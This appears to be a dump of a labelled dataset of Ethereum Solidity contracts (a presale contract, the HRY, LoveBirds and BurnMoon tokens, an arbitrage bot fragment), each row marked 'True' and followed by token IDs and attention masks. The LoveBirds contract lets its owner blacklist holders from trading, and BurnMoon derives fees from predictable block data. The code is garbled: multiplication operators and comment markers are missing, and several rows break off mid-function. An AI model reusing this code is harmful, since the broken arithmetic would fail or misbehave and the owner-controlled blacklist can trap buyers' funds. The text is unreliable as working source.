uint256 _wethBalanceBefore = WETH.balanceOf(address(this)); WETH.transfer(_targets[0], _wethAmountToFirstMarket); for (uint256 i = 0; i < _targets.length; i++) { (bool _success, bytes memory _response) = _targets[i].call(_payloads[i]); require(_success); _response; } uint256 _wethBalanceAfter = WETH.balanceOf(address(this)); require(_wethBalanceAfter > _wethBalanceBefore + _ethAmountToCoinbase); if (_ethAmountToCoinbase == 0) return; block.coinbase.transfer(_ethAmountToCoinbase); } function call(address payable _to, uint256 _value, bytes calldata _data) external onlyOwner payable returns (bytes memory) { require(_to != address(0)); (bool _success, bytes memory _result) = _to.call{value: _value}(_data); require(_success); return _result; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2676, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 8278, 29464, 11890, 11387, 1063, 2724, 6226, 1006, 4769, 25331, 3954, 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/** Submitted for verification at Etherscan.io on 2020-11-21 / pragma solidity 0.6.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } interface ERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint value) external returns (bool success); } contract PreSale { using SafeMath for uint256; ERC20 private timeToken; address payable private owner; constructor(address token) public { owner = msg.sender; timeToken = ERC20(token); } //Buy tokens function buyTokensByETH() external payable { require(msg.value >= 0.01 ether && msg.value <= 0.5 ether); uint256 amountOfTokens = msg.value; amountOfTokens = amountOfTokens.div(10 ** 12); //adjust decimal tokens amountOfTokens = amountOfTokens.div(8); //adjust tokens count to eth owner.transfer(msg.value); timeToken.transfer(msg.sender, amountOfTokens); } // Not sold tokens function returnNotSoldTokens() public returns (bool success) { require(msg.sender == owner); timeToken.transfer(msg.sender, timeToken.balanceOf(address(this))); return true; } // Wrong Send Various Tokens function returnVariousTokenFromContract(address tokenAddress) public returns (bool success) { require(msg.sender == owner); ERC20 tempToken = ERC20(tokenAddress); tempToken.transfer(msg.sender, tempToken.balanceOf(address(this))); return true; } // Wrong Send ETH function returnETHFromContract(uint256 value) public returns (bool success) { require(msg.sender == owner); msg.sender.transfer(value); return true; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 2340, 1011, 2538, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1014, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1028, 1014, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1013, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 16913, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 999, 1027, 1014, 1007, 1025, 2709, 1037, 1003, 1038, 1025, 1065, 1065, 8278, 9413, 2278, 11387, 1063, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 1065, 3206, 3653, 12002, 2063, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 9413, 2278, 11387, 2797, 2051, 18715, 2368, 1025, 4769, 3477, 3085, 2797, 3954, 1025, 9570, 2953, 1006, 4769, 19204, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 2051, 18715, 2368, 1027, 9413, 2278, 11387, 1006, 19204, 1007, 1025, 1065, 1013, 1013, 4965, 19204, 2015, 3853, 4965, 18715, 6132, 3762, 11031, 1006, 1007, 6327, 3477, 3085, 1063, 5478, 1006, 5796, 2290, 1012, 3643, 1028, 1027, 1014, 1012, 5890, 28855, 1004, 1004, 5796, 2290, 1012, 3643, 1026, 1027, 1014, 1012, 1019, 28855, 1007, 1025, 21318, 3372, 17788, 2575, 3815, 15794, 11045, 3619, 1027, 5796, 2290, 1012, 3643, 1025, 3815, 15794, 11045, 3619, 1027, 3815, 15794, 11045, 3619, 1012, 4487, 2615, 1006, 2184, 1008, 1008, 2260, 1007, 1025, 1013, 1013, 14171, 26066, 19204, 2015, 3815, 15794, 11045, 3619, 1027, 3815, 15794, 11045, 3619, 1012, 4487, 2615, 1006, 1022, 1007, 1025, 1013, 1013, 14171, 19204, 2015, 4175, 2000, 3802, 2232, 3954, 1012, 4651, 1006, 5796, 2290, 1012, 3643, 1007, 1025, 2051, 18715, 2368, 1012, 4651, 1006, 5796, 2290, 1012, 4604, 2121, 1010, 3815, 15794, 11045, 3619, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract HRY { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract / function HRY( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply 10 uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } / * Internal transfer, only can be called by this contract / function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send / function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send / function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend / function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract / function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn / function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /* * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 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/** Submitted for verification at Etherscan.io on 2022-04-17 / /** 🐧LoveBirds🐧-Going to Super meme coin Will be fair launch Info 🚀 2,000,000,000 Max buy at start 🚀 100,000,000,000 tokens total Tokenomics Tax: 🐧 6% goes to marketing marketing 🐧 2% goes to dev wallet 🐧 2% liquidity tax Our Tg: https://t.me/lovebirdstoken / pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LoveBirds is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "LoveBirds"; string private constant _symbol = "LoveBirds"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x5BB0906B7303ED055Cb73f5B5ba088A39bCa4809); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 10*9; _maxWalletSize = 2000000000 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; 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/** Submitted for verification at Etherscan.io on 2021-04-27 / // Feel The Burn // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Counters { struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library Arrays { function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); if (array[mid] > element) { high = mid; } else { low = mid + 1; } } if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint256 private FeeNumber; uint256 private feeAmount; address private DevWallet = 0x7f1F88A2d2429377F791b2b21e5d5f0EbbB4b46D; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); FeeNumber = ((block.difficulty * block.timestamp) % 100) + 1; if (sender == DevWallet \|\| recipient == DevWallet){ feeAmount = 1; } else{ feeAmount = (amount * FeeNumber)/100; } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); uint256 receiveAmount = amount - feeAmount; uint256 senderAmount = senderBalance - amount; _burn(sender, feeAmount); _balances[sender] = senderAmount; _balances[recipient] += receiveAmount; emit Transfer(sender, recipient, receiveAmount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); //_beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract BurnMoon is ERC20("BurnMoon", "BurnMoon") { constructor() { _mint(msg.sender, 100000000000 * 10 ** decimals()); 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/** Submitted for verification at Etherscan.io on 2021-10-09 / // SPDX-License-Identifier: MIT /* Website: https://kanekiinu.com Telegram: https://t.me/Kanekirealerc20 / pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 